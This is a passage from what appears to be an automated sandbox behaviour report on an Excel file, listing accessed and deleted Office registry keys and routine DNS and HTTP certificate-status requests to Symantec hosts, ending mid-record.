  434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\107E1A9A03AE4F2BACF70CC519E60E7B",
  568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\ExcelName",
  569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options",
  570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\Options5",
  571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\OptionFormat",
  572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\Pos",
  573. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTF",
  575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTA",
  576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_2"
  577. ]
  578.  
  579. [*] Deleted Registry Keys: [
  580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D69175\\1D69175",
  581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems\\d}v",
  582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D6E63D\\1D6E63D",
  587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTT"
  588. ]
  589.  
  590. [*] DNS Communications: [
  591. {
  592. "type": "A",
  593. "request": "t2.symcb.com",
  594. "answers": [
  595. {
  596. "data": "23.4.43.27",
  597. "type": "A"
  598. },
  599. {
  600. "data": "ocsp-ds.ws.symantec.com.edgekey.net",
  601. "type": "CNAME"
  602. },
  603. {
  604. "data": "e8218.dscb1.akamaiedge.net",
  605. "type": "CNAME"
  606. }
  607. ]
  608. },
  609. {
  610. "type": "A",
  611. "request": "tl.symcd.com",
  612. "answers": [
  613. {
  614. "data": "23.4.43.27",
  615. "type": "A"
  616. },
  617. {
  618. "data": "ocsp-ds.ws.symantec.com.edgekey.net",
  619. "type": "CNAME"
  620. },
  621. {
  622. "data": "e8218.dscb1.akamaiedge.net",
  623. "type": "CNAME"
  624. }
  625. ]
  626. }
  627. ]
  628.  
  629. [*] Domains: [
  630. {
  631. "ip": "23.4.43.27",
  632. "domain": "t2.symcb.com"
  633. },
  634. {
  635. "ip": "23.4.43.27",
  636. "domain": "tl.symcd.com"
  637. }
  638. ]
  639.  
  640. [*] Network Communication - ICMP: []
  641.  
  642. [*] Network Communication - HTTP: [
  643. {
  644. "count": 1,
  645. "body": "",
  646. "uri": "http://t2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D",
  647. "user-agent": "Microsoft-CryptoAPI/6.1",
  648. "method": "GET",
  649. "host": "t2.symcb.com",
  650. "version": "1.1",
  651. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D",
  652. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: t2.symcb.com\r\n\r\n",
  653. "port": 80
  654. },
  655. {
  656. "count": 1,
  657. "body": "",
  658. "uri": "http://tl.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D",
  659. "user-agent": "Microsoft-CryptoAPI/6.1",
  660. "method": "GET",
  661. "host": "tl.symcd.com",
  662. "version": "1.1",
  663. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D",
